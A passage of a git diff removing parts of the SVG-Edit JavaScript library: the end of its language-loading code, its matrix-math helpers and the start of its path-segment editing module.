-			stroke_width: properties.stroke_width,
-			svginfo_title: config.doc_title,
-			text: properties.text_contents,
-			toggle_stroke_tools: ui.toggle_stroke_tools,
-			tool_add_subpath: tools.add_subpath,
-			tool_alignbottom: tools.align_bottom,
-			tool_aligncenter: tools.align_center,
-			tool_alignleft: tools.align_left,
-			tool_alignmiddle: tools.align_middle,
-			tool_alignright: tools.align_right,
-			tool_aligntop: tools.align_top,
-			tool_angle: properties.angle,
-			tool_blur: properties.blur,
-			tool_bold: properties.bold,
-			tool_circle: tools.mode_circle,
-			tool_clone: tools.clone,
-			tool_clone_multi: tools.clone,
-			tool_delete: tools.del,
-			tool_delete_multi: tools.del,
-			tool_ellipse: tools.mode_ellipse,
-			tool_eyedropper: tools.mode_eyedropper,
-			tool_fhellipse: tools.mode_fhellipse,
-			tool_fhpath: tools.mode_fhpath,
-			tool_fhrect: tools.mode_fhrect,
-			tool_font_size: properties.font_size,
-			tool_group: tools.group,
-			tool_make_link: tools.make_link,
-			tool_link_url: tools.set_link_url,
-			tool_image: tools.mode_image,
-			tool_italic: properties.italic,
-			tool_line: tools.mode_line,
-			tool_move_bottom: tools.move_bottom,
-			tool_move_top: tools.move_top,
-			tool_node_clone: tools.node_clone,
-			tool_node_delete: tools.node_delete,
-			tool_node_link: tools.node_link,
-			tool_opacity: properties.opacity,
-			tool_openclose_path: tools.openclose_path,
-			tool_path: tools.mode_path,
-			tool_position: tools.align_to_page,
-			tool_rect: tools.mode_rect,
-			tool_redo: tools.redo,
-			tool_reorient: tools.reorient_path,
-			tool_select: tools.mode_select,
-			tool_source: tools.source_save,
-			tool_square: tools.mode_square,
-			tool_text: tools.mode_text,
-			tool_topath: tools.to_path,
-			tool_undo: tools.undo,
-			tool_ungroup: tools.ungroup,
-			tool_wireframe: tools.wireframe_mode,
-			view_grid: tools.toggle_grid,
-			tool_zoom: tools.mode_zoom,
-			url_notice: tools.no_embed
-
-			}
-		, true);
-		
-		Editor.setLang(lang_param, langData);
-	}
-
-	Editor.putLocale = function(given_param, good_langs){
-	
-		if(given_param) {
-			lang_param = given_param;
-		} else {
-			lang_param = $.pref('lang');
-			if(!lang_param) {
-				if (navigator.userLanguage) // Explorer
-					lang_param = navigator.userLanguage;
-				else if (navigator.language) // FF, Opera, ...
-					lang_param = navigator.language;
-				if (lang_param == "")
-					return;
-			}
-			
-			console.log('Lang: ' + lang_param);
-			
-			// Set to English if language is not in list of good langs
-			if($.inArray(lang_param, good_langs) == -1 && lang_param !== 'test') {
-				lang_param = "en";
-			}
-	
-			// don't bother on first run if language is English		
-			if(lang_param.indexOf("en") == 0) return;
-
-		}
-		
-		var conf = Editor.curConfig;
-		
-		var url = conf.langPath + "lang." + lang_param + ".js";
-		
-		$.getScript(url, function(d) {
-			// Fails locally in Chrome 5+
-			if(!d) {
-				var s = document.createElement('script');
-				s.src = url;
-				document.querySelector('head').appendChild(s);
-			}
-		});
-		
-	};
-	
-	return Editor;
-}(jQuery, svgEditor));
-
diff --git a/public/svg-edit/editor/math.js b/public/svg-edit/editor/math.js
deleted file mode 100644
index 86ee4cf5..00000000
--- a/public/svg-edit/editor/math.js
+++ /dev/null
@@ -1,246 +0,0 @@
-/**
- * Package: svedit.math
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// None.
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.math) {
-	svgedit.math = {};
-}
-
-// Constants
-var NEAR_ZERO = 1e-14;
-
-// Throw away SVGSVGElement used for creating matrices/transforms.
-var svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
-
-// Function: svgedit.math.transformPoint
-// A (hopefully) quicker function to transform a point by a matrix
-// (this function avoids any DOM calls and just does the math)
-// 
-// Parameters:
-// x - Float representing the x coordinate
-// y - Float representing the y coordinate
-// m - Matrix object to transform the point with
-// Returns a x,y object representing the transformed point
-svgedit.math.transformPoint = function(x, y, m) {
-	return { x: m.a * x + m.c * y + m.e, y: m.b * x + m.d * y + m.f};
-};
-
-
-// Function: svgedit.math.isIdentity
-// Helper function to check if the matrix performs no actual transform 
-// (i.e. exists for identity purposes)
-//
-// Parameters: 
-// m - The matrix object to check
-//
-// Returns:
-// Boolean indicating whether or not the matrix is 1,0,0,1,0,0
-svgedit.math.isIdentity = function(m) {
-	return (m.a === 1 && m.b === 0 && m.c === 0 && m.d === 1 && m.e === 0 && m.f === 0);
-};
-
-
-// Function: svgedit.math.matrixMultiply
-// This function tries to return a SVGMatrix that is the multiplication m1*m2.
-// We also round to zero when it's near zero
-// 
-// Parameters:
-// >= 2 Matrix objects to multiply
-//
-// Returns: 
-// The matrix object resulting from the calculation
-svgedit.math.matrixMultiply = function() {
-	var args = arguments, i = args.length, m = args[i-1];
-	
-	while(i-- > 1) {
-		var m1 = args[i-1];
-		m = m1.multiply(m);
-	}
-	if (Math.abs(m.a) < NEAR_ZERO) m.a = 0;
-	if (Math.abs(m.b) < NEAR_ZERO) m.b = 0;
-	if (Math.abs(m.c) < NEAR_ZERO) m.c = 0;
-	if (Math.abs(m.d) < NEAR_ZERO) m.d = 0;
-	if (Math.abs(m.e) < NEAR_ZERO) m.e = 0;
-	if (Math.abs(m.f) < NEAR_ZERO) m.f = 0;
-	
-	return m;
-};
-
-// Function: svgedit.math.hasMatrixTransform
-// See if the given transformlist includes a non-indentity matrix transform
-//
-// Parameters: 
-// tlist - The transformlist to check
-//
-// Returns: 
-// Boolean on whether or not a matrix transform was found
-svgedit.math.hasMatrixTransform = function(tlist) {
-	if(!tlist) return false;
-	var num = tlist.numberOfItems;
-	while (num--) {
-		var xform = tlist.getItem(num);
-		if (xform.type == 1 && !svgedit.math.isIdentity(xform.matrix)) return true;
-	}
-	return false;
-};
-
-// Function: svgedit.math.transformBox
-// Transforms a rectangle based on the given matrix
-//
-// Parameters:
-// l - Float with the box's left coordinate
-// t - Float with the box's top coordinate
-// w - Float with the box width
-// h - Float with the box height
-// m - Matrix object to transform the box by
-// 
-// Returns:
-// An object with the following values:
-// * tl - The top left coordinate (x,y object)
-// * tr - The top right coordinate (x,y object)
-// * bl - The bottom left coordinate (x,y object)
-// * br - The bottom right coordinate (x,y object)
-// * aabox - Object with the following values:
-// * Float with the axis-aligned x coordinate
-// * Float with the axis-aligned y coordinate
-// * Float with the axis-aligned width coordinate
-// * Float with the axis-aligned height coordinate
-svgedit.math.transformBox = function(l, t, w, h, m) {
-	var topleft = {x:l,y:t},
-		topright = {x:(l+w),y:t},
-		botright = {x:(l+w),y:(t+h)},
-		botleft = {x:l,y:(t+h)};
-	var transformPoint = svgedit.math.transformPoint;
-	topleft = transformPoint( topleft.x, topleft.y, m );
-	var minx = topleft.x,
-		maxx = topleft.x,
-		miny = topleft.y,
-		maxy = topleft.y;
-	topright = transformPoint( topright.x, topright.y, m );
-	minx = Math.min(minx, topright.x);
-	maxx = Math.max(maxx, topright.x);
-	miny = Math.min(miny, topright.y);
-	maxy = Math.max(maxy, topright.y);
-	botleft = transformPoint( botleft.x, botleft.y, m);
-	minx = Math.min(minx, botleft.x);
-	maxx = Math.max(maxx, botleft.x);
-	miny = Math.min(miny, botleft.y);
-	maxy = Math.max(maxy, botleft.y);
-	botright = transformPoint( botright.x, botright.y, m );
-	minx = Math.min(minx, botright.x);
-	maxx = Math.max(maxx, botright.x);
-	miny = Math.min(miny, botright.y);
-	maxy = Math.max(maxy, botright.y);
-
-	return {tl:topleft, tr:topright, bl:botleft, br:botright, 
-			aabox: {x:minx, y:miny, width:(maxx-minx), height:(maxy-miny)} };
-};
-
-// Function: svgedit.math.transformListToTransform
-// This returns a single matrix Transform for a given Transform List
-// (this is the equivalent of SVGTransformList.consolidate() but unlike
-//  that method, this one does not modify the actual SVGTransformList)
-// This function is very liberal with its min,max arguments
-// 
-// Parameters:
-// tlist - The transformlist object
-// min - Optional integer indicating start transform position
-// max - Optional integer indicating end transform position
-//
-// Returns:
-// A single matrix transform object
-svgedit.math.transformListToTransform = function(tlist, min, max) {
-	if(tlist == null) {
-		// Or should tlist = null have been prevented before this?
-		return svg.createSVGTransformFromMatrix(svg.createSVGMatrix());
-	}
-	var min = min == undefined ? 0 : min;
-	var max = max == undefined ? (tlist.numberOfItems-1) : max;
-	min = parseInt(min);
-	max = parseInt(max);
-	if (min > max) { var temp = max; max = min; min = temp; }
-	var m = svg.createSVGMatrix();
-	for (var i = min; i <= max; ++i) {
-		// if our indices are out of range, just use a harmless identity matrix
-		var mtom = (i >= 0 && i < tlist.numberOfItems ? 
-						tlist.getItem(i).matrix :
-						svg.createSVGMatrix());
-		m = svgedit.math.matrixMultiply(m, mtom);
-	}
-	return svg.createSVGTransformFromMatrix(m);
-};
-
-
-// Function: svgedit.math.getMatrix
-// Get the matrix object for a given element
-//
-// Parameters:
-// elem - The DOM element to check
-// 
-// Returns:
-// The matrix object associated with the element's transformlist
-svgedit.math.getMatrix = function(elem) {
-	var tlist = svgedit.transformlist.getTransformList(elem);
-	return svgedit.math.transformListToTransform(tlist).matrix;
-};
-
-
-// Function: svgedit.math.snapToAngle
-// Returns a 45 degree angle coordinate associated with the two given 
-// coordinates
-// 
-// Parameters:
-// x1 - First coordinate's x value
-// x2 - Second coordinate's x value
-// y1 - First coordinate's y value
-// y2 - Second coordinate's y value
-//
-// Returns: 
-// Object with the following values:
-// x - The angle-snapped x value
-// y - The angle-snapped y value
-// snapangle - The angle at which to snap
-svgedit.math.snapToAngle = function(x1,y1,x2,y2) {
-	var snap = Math.PI/4; // 45 degrees
-	var dx = x2 - x1;
-	var dy = y2 - y1;
-	var angle = Math.atan2(dy,dx);
-	var dist = Math.sqrt(dx * dx + dy * dy);
-	var snapangle= Math.round(angle/snap)*snap;
-	var x = x1 + dist*Math.cos(snapangle);	
-	var y = y1 + dist*Math.sin(snapangle);
-	//console.log(x1,y1,x2,y2,x,y,angle)
-	return {x:x, y:y, a:snapangle};
-};
-
-
-// Function: rectsIntersect
-// Check if two rectangles (BBoxes objects) intersect each other
-//
-// Paramaters:
-// r1 - The first BBox-like object
-// r2 - The second BBox-like object
-//
-// Returns:
-// Boolean that's true if rectangles intersect
-svgedit.math.rectsIntersect = function(r1, r2) {
-	return r2.x < (r1.x+r1.width) && 
-		(r2.x+r2.width) > r1.x &&
-		r2.y < (r1.y+r1.height) &&
-		(r2.y+r2.height) > r1.y;
-};
-
-
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/path.js b/public/svg-edit/editor/path.js
deleted file mode 100644
index e4901826..00000000
--- a/public/svg-edit/editor/path.js
+++ /dev/null
@@ -1,980 +0,0 @@
-/**
- * Package: svgedit.path
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2011 Alexis Deveria
- * Copyright(c) 2011 Jeff Schiller
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) browser.js
-// 3) math.js
-// 4) svgutils.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.path) {
-	svgedit.path = {};
-}
-
-var svgns = "http://www.w3.org/2000/svg";
-
-var uiStrings = {
-	"pathNodeTooltip": "Drag node to move it. Double-click node to change segment type",
-	"pathCtrlPtTooltip": "Drag control point to adjust curve properties"
-};
-
-var segData = {
-	2: ['x','y'],
-	4: ['x','y'],
-	6: ['x','y','x1','y1','x2','y2'],
-	8: ['x','y','x1','y1'],
-	10: ['x','y','r1','r2','angle','largeArcFlag','sweepFlag'],
-	12: ['x'],
-	14: ['y'],
-	16: ['x','y','x2','y2'],
-	18: ['x','y']
-};
-
-var pathFuncs = [];
-
-var link_control_pts = true;
-
-// Stores references to paths via IDs.
-// TODO: Make this cross-document happy.
-var pathData = {};
-
-svgedit.path.setLinkControlPoints = function(lcp) {
-	link_control_pts = lcp;
-};
-
-svgedit.path.path = null;
-
-var editorContext_ = null;
-
-svgedit.path.init = function(editorContext) {
-	editorContext_ = editorContext;
-	
-	pathFuncs = [0,'ClosePath'];
-	var pathFuncsStrs = ['Moveto', 'Lineto', 'CurvetoCubic', 'CurvetoQuadratic', 'Arc',
-		'LinetoHorizontal', 'LinetoVertical','CurvetoCubicSmooth','CurvetoQuadraticSmooth'];
-	$.each(pathFuncsStrs, function(i,s) {
-		pathFuncs.push(s+'Abs');
-		pathFuncs.push(s+'Rel');
-	});
-};
-
-svgedit.path.insertItemBefore = function(elem, newseg, index) {
-	// Support insertItemBefore on paths for FF2
-	var list = elem.pathSegList;
-
-	if(svgedit.browser.supportsPathInsertItemBefore()) {
-		list.insertItemBefore(newseg, index);
-		return;
-	}
-	var len = list.numberOfItems;
-	var arr = [];
-	for(var i=0; i<len; i++) {
-		var cur_seg = list.getItem(i);
-		arr.push(cur_seg)				
-	}
-	list.clear();
-	for(var i=0; i<len; i++) {
-		if(i == index) { //index+1
-			list.appendItem(newseg);
-		}
-		list.appendItem(arr[i]);
-	}
-};
-
-// TODO: See if this should just live in replacePathSeg
-svgedit.path.ptObjToArr = function(type, seg_item) {
-	var arr = segData[type], len = arr.length;
-	var out = Array(len);
-	for(var i=0; i<len; i++) {
-		out[i] = seg_item[arr[i]];
-	}
-	return out;
-};
-
-svgedit.path.getGripPt = function(seg, alt_pt) {
-	var out = {
-		x: alt_pt? alt_pt.x : seg.item.x,
-		y: alt_pt? alt_pt.y : seg.item.y
-	}, path = seg.path;
-
-	if(path.matrix) {
-		var pt = svgedit.math.transformPoint(out.x, out.y, path.matrix);
-		out = pt;
-	}
-
-	out.x *= editorContext_.getCurrentZoom();
-	out.y *= editorContext_.getCurrentZoom();
-
-	return out;
-};
-
-svgedit.path.getPointFromGrip = function(pt, path) {
-	var out = {
-		x: pt.x,
-		y: pt.y
-	}
-
-	if(path.matrix) {
-		var pt = svgedit.math.transformPoint(out.x, out.y, path.imatrix);
-		out.x = pt.x;
-		out.y = pt.y;
-	}
-
-	out.x /= editorContext_.getCurrentZoom();
-	out.y /= editorContext_.getCurrentZoom();
-
-	return out;
-};
-
-svgedit.path.addPointGrip = function(index, x, y) {
-	// create the container of all the point grips
-	var pointGripContainer = svgedit.path.getGripContainer();
-
-	var pointGrip = svgedit.utilities.getElem("pathpointgrip_"+index);
-	// create it
-	if (!pointGrip) {
-		pointGrip = document.createElementNS(svgns, "circle");
-		svgedit.utilities.assignAttributes(pointGrip, {
-			'id': "pathpointgrip_" + index,
-			'display': "none",
-			'r': 4,
-			'fill': "#0FF",
-			'stroke': "#00F",
-			'stroke-width': 2,
-			'cursor': 'move',
-			'style': 'pointer-events:all',
-			'xlink:title': uiStrings.pathNodeTooltip
-		});
-		pointGrip = pointGripContainer.appendChild(pointGrip);
-
-		var grip = $('#pathpointgrip_'+index);
-		grip.dblclick(function() {
-			if(svgedit.path.path) svgedit.path.path.setSegType();
-		});
-	}
-	if(x && y) {
-		// set up the point grip element and display it
-		svgedit.utilities.assignAttributes(pointGrip, {
-			'cx': x,
-			'cy': y,
-			'display': "inline"
-		});
-	}
-	return pointGrip;
-};
-
-svgedit.path.getGripContainer = function() {
-	var c = svgedit.utilities.getElem("pathpointgrip_container");
-	if (!c) {
-		var parent = svgedit.utilities.getElem("selectorParentGroup");
-		c = parent.appendChild(document.createElementNS(svgns, "g"));
-		c.id = "pathpointgrip_container";
-	}
-	return c;
-};
-
-svgedit.path.addCtrlGrip = function(id) {
-	var pointGrip = svgedit.utilities.getElem("ctrlpointgrip_"+id);
-	if(pointGrip) return pointGrip;
-		
-	pointGrip = document.createElementNS(svgns, "circle");
-	svgedit.utilities.assignAttributes(pointGrip, {
-		'id': "ctrlpointgrip_" + id,
-		'display': "none",
-		'r': 4,
-		'fill': "#0FF",
-		'stroke': "#55F",
-		'stroke-width': 1,
-		'cursor': 'move',
-		'style': 'pointer-events:all',
-		'xlink:title': uiStrings.pathCtrlPtTooltip
-	});
-	svgedit.path.getGripContainer().appendChild(pointGrip);
-	return pointGrip;
-};
-
-svgedit.path.getCtrlLine = function(id) {
-	var ctrlLine = svgedit.utilities.getElem("ctrlLine_"+id);
-	if(ctrlLine) return ctrlLine;
-
-	ctrlLine = document.createElementNS(svgns, "line");
-	svgedit.utilities.assignAttributes(ctrlLine, {
-		'id': "ctrlLine_"+id,
-		'stroke': "#555",
-		'stroke-width': 1,
-		"style": "pointer-events:none"
-	});
-	svgedit.path.getGripContainer().appendChild(ctrlLine);
-	return ctrlLine;
-};
-
-svgedit.path.getPointGrip = function(seg, update) {
-	var index = seg.index;
-	var pointGrip = svgedit.path.addPointGrip(index);
-
-	if(update) {
-		var pt = svgedit.path.getGripPt(seg);
-		svgedit.utilities.assignAttributes(pointGrip, {
-			'cx': pt.x,
-			'cy': pt.y,
-			'display': "inline"
-		});
-	}
-
-	return pointGrip;
-};
-
-svgedit.path.getControlPoints = function(seg) {
-	var item = seg.item;
-	var index = seg.index;
-	if(!("x1" in item) || !("x2" in item)) return null;
-	var cpt = {};			
-	var pointGripContainer = svgedit.path.getGripContainer();
-
-	// Note that this is intentionally not seg.prev.item
-	var prev = svgedit.path.path.segs[index-1].item;
-
-	var seg_items = [prev, item];
-
-	for(var i=1; i<3; i++) {
-		var id = index + 'c' + i;
-
-		var ctrlLine = cpt['c' + i + '_line'] = svgedit.path.getCtrlLine(id);
-
-		var pt = svgedit.path.getGripPt(seg, {x:item['x' + i], y:item['y' + i]});
-		var gpt = svgedit.path.getGripPt(seg, {x:seg_items[i-1].x, y:seg_items[i-1].y});
-
-		svgedit.utilities.assignAttributes(ctrlLine, {
-			'x1': pt.x,
-			'y1': pt.y,
-			'x2': gpt.x,
-			'y2': gpt.y,
-			'display': "inline"
-		});
-
-		cpt['c' + i + '_line'] = ctrlLine;
-
-		// create it
-		pointGrip = cpt['c' + i] = svgedit.path.addCtrlGrip(id);
-
-		svgedit.utilities.assignAttributes(pointGrip, {
-			'cx': pt.x,
-			'cy': pt.y,
-			'display': "inline"
-		});
-		cpt['c' + i] = pointGrip;
-	}
-	return cpt;
-};
-
-// This replaces the segment at the given index. Type is given as number.
-svgedit.path.replacePathSeg = function(type, index, pts, elem) {
-	var path = elem || svgedit.path.path.elem;
-	var func = 'createSVGPathSeg' + pathFuncs[type];
-	var seg = path[func].apply(path, pts);
-
-	if(svgedit.browser.supportsPathReplaceItem()) {
-		path.pathSegList.replaceItem(seg, index);
-	} else {
-		var segList = path.pathSegList;
-		var len = segList.numberOfItems;
-		var arr = [];
-		for(var i=0; i<len; i++) {
-			var cur_seg = segList.getItem(i);
-			arr.push(cur_seg)				
-		}
-		segList.clear();
-		for(var i=0; i<len; i++) {
-			if(i == index) {
-				segList.appendItem(seg);
-			} else {
-				segList.appendItem(arr[i]);
-			}
-		}
-	}
-};
-
-svgedit.path.getSegSelector = function(seg, update) {
-	var index = seg.index;
-	var segLine = svgedit.utilities.getElem("segline_" + index);
-	if(!segLine) {
-		var pointGripContainer = svgedit.path.getGripContainer();
-		// create segline
-		segLine = document.createElementNS(svgns, "path");
-		svgedit.utilities.assignAttributes(segLine, {
-			'id': "segline_" + index,
-			'display': 'none',
-			'fill': "none",
-			'stroke': "#0FF",
-			'stroke-width': 2,
-			'style':'pointer-events:none',
-			'd': 'M0,0 0,0'
-		});
-		pointGripContainer.appendChild(segLine);
-	} 
-
-	if(update) {
-		var prev = seg.prev;
-		if(!prev) {
-			segLine.setAttribute("display", "none");
-			return segLine;
-		}
-
-		var pt = svgedit.path.getGripPt(prev);
-		// Set start point
-		svgedit.path.replacePathSeg(2, 0, [pt.x, pt.y], segLine);
-
-		var pts = svgedit.path.ptObjToArr(seg.type, seg.item, true);
-		for(var i=0; i < pts.length; i+=2) {
-			var pt = svgedit.path.getGripPt(seg, {x:pts[i], y:pts[i+1]});
-			pts[i] = pt.x;
-			pts[i+1] = pt.y;
-		}
-
-		svgedit.path.replacePathSeg(seg.type, 1, pts, segLine);
-	}
-	return segLine;
-};
-
-// Function: smoothControlPoints
-// Takes three points and creates a smoother line based on them
-// 
-// Parameters: 
-// ct1 - Object with x and y values (first control point)
-// ct2 - Object with x and y values (second control point)
-// pt - Object with x and y values (third point)
-//
-// Returns: 
-// Array of two "smoothed" point objects
-svgedit.path.smoothControlPoints = this.smoothControlPoints = function(ct1, ct2, pt) {
-	// each point must not be the origin
-	var x1 = ct1.x - pt.x,
-		y1 = ct1.y - pt.y,
-		x2 = ct2.x - pt.x,
-		y2 = ct2.y - pt.y;
-		
-	if ( (x1 != 0 || y1 != 0) && (x2 != 0 || y2 != 0) ) {
-		var anglea = Math.atan2(y1,x1),
-			angleb = Math.atan2(y2,x2),
-			r1 = Math.sqrt(x1*x1+y1*y1),
-			r2 = Math.sqrt(x2*x2+y2*y2),
-			nct1 = editorContext_.getSVGRoot().createSVGPoint(),
-			nct2 = editorContext_.getSVGRoot().createSVGPoint();				
-		if (anglea < 0) { anglea += 2*Math.PI; }
-		if (angleb < 0) { angleb += 2*Math.PI; }
-		
-		var angleBetween = Math.abs(anglea - angleb),
-			angleDiff = Math.abs(Math.PI - angleBetween)/2;
-		
-		var new_anglea, new_angleb;
-		if (anglea - angleb > 0) {
-			new_anglea = angleBetween < Math.PI ? (anglea + angleDiff) : (anglea - angleDiff);
-			new_angleb = angleBetween < Math.PI ? (angleb - angleDiff) : (angleb + angleDiff);
-		}
-		else {
-			new_anglea = angleBetween < Math.PI ? (anglea - angleDiff) : (anglea + angleDiff);
-			new_angleb = angleBetween < Math.PI ? (angleb + angleDiff) : (angleb - angleDiff);
-		}
-		
-		// rotate the points
-		nct1.x = r1 * Math.cos(new_anglea) + pt.x;
-		nct1.y = r1 * Math.sin(new_anglea) + pt.y;
-		nct2.x = r2 * Math.cos(new_angleb) + pt.x;
-		nct2.y = r2 * Math.sin(new_angleb) + pt.y;
-		
-		return [nct1, nct2];
-	}
-	return undefined;
-};
-
-svgedit.path.Segment = function(index, item) {
-	this.selected = false;
-	this.index = index;
-	this.item = item;
-	this.type = item.pathSegType;
-	
-	this.ctrlpts = [];
-	this.ptgrip = null;
-	this.segsel = null;
-};
-
-svgedit.path.Segment.prototype.showCtrlPts = function(y) {
-	for (var i in this.ctrlpts) {
-		this.ctrlpts[i].setAttribute("display", y ? "inline" : "none");
-	}
-};
-
-svgedit.path.Segment.prototype.selectCtrls = function(y) {
-	$('#ctrlpointgrip_' + this.index + 'c1, #ctrlpointgrip_' + this.index + 'c2').
-		attr('fill', y ? '#0FF' : '#EEE');
-};
-
-svgedit.path.Segment.prototype.show = function(y) {
-	if(this.ptgrip) {
-		this.ptgrip.setAttribute("display", y ? "inline" : "none");
-		this.segsel.setAttribute("display", y ? "inline" : "none");
-		// Show/hide all control points if available
-		this.showCtrlPts(y);
-	}
-};
-
-svgedit.path.Segment.prototype.select = function(y) {
-	if(this.ptgrip) {
-		this.ptgrip.setAttribute("stroke", y ? "#0FF" : "#00F");
-		this.segsel.setAttribute("display", y ? "inline" : "none");
-		if(this.ctrlpts) {
-			this.selectCtrls(y);
-		}
-		this.selected = y;
-	}
-};
-
-svgedit.path.Segment.prototype.addGrip = function() {
-	this.ptgrip = svgedit.path.getPointGrip(this, true);
-	this.ctrlpts = svgedit.path.getControlPoints(this, true);
-	this.segsel = svgedit.path.getSegSelector(this, true);
-};
-
-svgedit.path.Segment.prototype.update = function(full) {
-	if(this.ptgrip) {
-		var pt = svgedit.path.getGripPt(this);
-		svgedit.utilities.assignAttributes(this.ptgrip, {
-			'cx': pt.x,
-			'cy': pt.y
-		});
-
-		svgedit.path.getSegSelector(this, true);
-
-		if(this.ctrlpts) {
-			if(full) {
-				this.item = svgedit.path.path.elem.pathSegList.getItem(this.index);
-				this.type = this.item.pathSegType;
-			}
-			svgedit.path.getControlPoints(this);
-		} 
-		// this.segsel.setAttribute("display", y?"inline":"none");
-	}
-};
-
-svgedit.path.Segment.prototype.move = function(dx, dy) {
-	var item = this.item;
-
-	if(this.ctrlpts) {
-		var cur_pts = [item.x += dx, item.y += dy, 
-			item.x1, item.y1, item.x2 += dx, item.y2 += dy];
-	} else {
-		var cur_pts = [item.x += dx, item.y += dy];
-	}
-	svgedit.path.replacePathSeg(this.type, this.index, cur_pts);
-
-	if(this.next && this.next.ctrlpts) {
-		var next = this.next.item;
-		var next_pts = [next.x, next.y, 
-			next.x1 += dx, next.y1 += dy, next.x2, next.y2];
-		svgedit.path.replacePathSeg(this.next.type, this.next.index, next_pts);
-	}
-
-	if(this.mate) {
-		// The last point of a closed subpath has a "mate",
-		// which is the "M" segment of the subpath
-		var item = this.mate.item;
-		var pts = [item.x += dx, item.y += dy];
-		svgedit.path.replacePathSeg(this.mate.type, this.mate.index, pts);
-		// Has no grip, so does not need "updating"?
-	}
-
-	this.update(true);
-	if(this.next) this.next.update(true);
-};
-
-svgedit.path.Segment.prototype.setLinked = function(num) {
-	var seg, anum, pt;
-	if (num == 2) {
-		anum = 1;
-		seg = this.next;
-		if(!seg) return;
-		pt = this.item;
-	} else {
-		anum = 2;
-		seg = this.prev;
-		if(!seg) return;
-		pt = seg.item;
-	}
-
-	var item = seg.item;
-
-	item['x' + anum] = pt.x + (pt.x - this.item['x' + num]);
-	item['y' + anum] = pt.y + (pt.y - this.item['y' + num]);
-
-	var pts = [item.x, item.y,
-		item.x1, item.y1,
-		item.x2, item.y2];
-
-	svgedit.path.replacePathSeg(seg.type, seg.index, pts);
-	seg.update(true);
-};
-
-svgedit.path.Segment.prototype.moveCtrl = function(num, dx, dy) {
-	var item = this.item;
-
-	item['x' + num] += dx;
-	item['y' + num] += dy;
-
-	var pts = [item.x,item.y,
-		item.x1,item.y1, item.x2,item.y2];
-
-	svgedit.path.replacePathSeg(this.type, this.index, pts);
-	this.update(true);
-};
-
-svgedit.path.Segment.prototype.setType = function(new_type, pts) {
-	svgedit.path.replacePathSeg(new_type, this.index, pts);
-	this.type = new_type;
-	this.item = svgedit.path.path.elem.pathSegList.getItem(this.index);
-	this.showCtrlPts(new_type === 6);
-	this.ctrlpts = svgedit.path.getControlPoints(this);
-	this.update(true);
-};
-
-svgedit.path.Path = function(elem) {
-	if(!elem || elem.tagName !== "path") {
-		throw "svgedit.path.Path constructed without a <path> element";
-	}
-
-	this.elem = elem;
-	this.segs = [];
-	this.selected_pts = [];
-	svgedit.path.path = this;
-
-	this.init();
-};
-
-// Reset path data
-svgedit.path.Path.prototype.init = function() {
-	// Hide all grips, etc
-	$(svgedit.path.getGripContainer()).find("*").attr("display", "none");
-	var segList = this.elem.pathSegList;
-	var len = segList.numberOfItems;
-	this.segs = [];
-	this.selected_pts = [];
-	this.first_seg = null;
-	
-	// Set up segs array
-	for(var i=0; i < len; i++) {
-		var item = segList.getItem(i);
-		var segment = new svgedit.path.Segment(i, item);
-		segment.path = this;
-		this.segs.push(segment);
-	}	
-	
-	var segs = this.segs;
-	var start_i = null;
-
-	for(var i=0; i < len; i++) {
-		var seg = segs[i]; 
-		var next_seg = (i+1) >= len ? null : segs[i+1];
-		var prev_seg = (i-1) < 0 ? null : segs[i-1];
-		
-		if(seg.type === 2) {
-			if(prev_seg && prev_seg.type !== 1) {
-				// New sub-path, last one is open,
-				// so add a grip to last sub-path's first point
-				var start_seg = segs[start_i];
-				start_seg.next = segs[start_i+1];
-				start_seg.next.prev = start_seg;
-				start_seg.addGrip();
-			}
-			// Remember that this is a starter seg
-			start_i = i;
-		} else if(next_seg && next_seg.type === 1) {
-			// This is the last real segment of a closed sub-path
-			// Next is first seg after "M"
-			seg.next = segs[start_i+1];
-			
-			// First seg after "M"'s prev is this
-			seg.next.prev = seg;
-			seg.mate = segs[start_i];
-			seg.addGrip();
-			if(this.first_seg == null) {
-				this.first_seg = seg;
-			}
-		} else if(!next_seg) {
-			if(seg.type !== 1) {
-				// Last seg, doesn't close so add a grip
-				// to last sub-path's first point
-				var start_seg = segs[start_i];
-				start_seg.next = segs[start_i+1];
-				start_seg.next.prev = start_seg;
-				start_seg.addGrip();
-				seg.addGrip();
-
-				if(!this.first_seg) {
-					// Open path, so set first as real first and add grip
-					this.first_seg = segs[start_i];
-				}
-			}
-		} else if(seg.type !== 1){
-			// Regular segment, so add grip and its "next"
-			seg.addGrip();
-			
-			// Don't set its "next" if it's an "M"
-			if(next_seg && next_seg.type !== 2) {
-				seg.next = next_seg;
-				seg.next.prev = seg;
-			}
-		}
-	}
-	return this;
-};
-
-svgedit.path.Path.prototype.eachSeg = function(fn) {
-	var len = this.segs.length
-	for(var i=0; i < len; i++) {
-		var ret = fn.call(this.segs[i], i);
-		if(ret === false) break;
-	}
-};
-
-svgedit.path.Path.prototype.addSeg = function(index) {
-	// Adds a new segment
-	var seg = this.segs[index];
-	if(!seg.prev) return;
-
-	var prev = seg.prev;
-	var newseg;
-	switch(seg.item.pathSegType) {
-	case 4:
-		var new_x = (seg.item.x + prev.item.x) / 2;
-		var new_y = (seg.item.y + prev.item.y) / 2;
-		newseg = this.elem.createSVGPathSegLinetoAbs(new_x, new_y);
-		break;
-	case 6: //make it a curved segment to preserve the shape (WRS)
-		// http://en.wikipedia.org/wiki/De_Casteljau%27s_algorithm#Geometric_interpretation
-		var p0_x = (prev.item.x + seg.item.x1)/2;
-		var p1_x = (seg.item.x1 + seg.item.x2)/2;
-		var p2_x = (seg.item.x2 + seg.item.x)/2;
-		var p01_x = (p0_x + p1_x)/2;
-		var p12_x = (p1_x + p2_x)/2;
-		var new_x = (p01_x + p12_x)/2;
-		var p0_y = (prev.item.y + seg.item.y1)/2;
-		var p1_y = (seg.item.y1 + seg.item.y2)/2;
-		var p2_y = (seg.item.y2 + seg.item.y)/2;
-		var p01_y = (p0_y + p1_y)/2;
-		var p12_y = (p1_y + p2_y)/2;
-		var new_y = (p01_y + p12_y)/2;
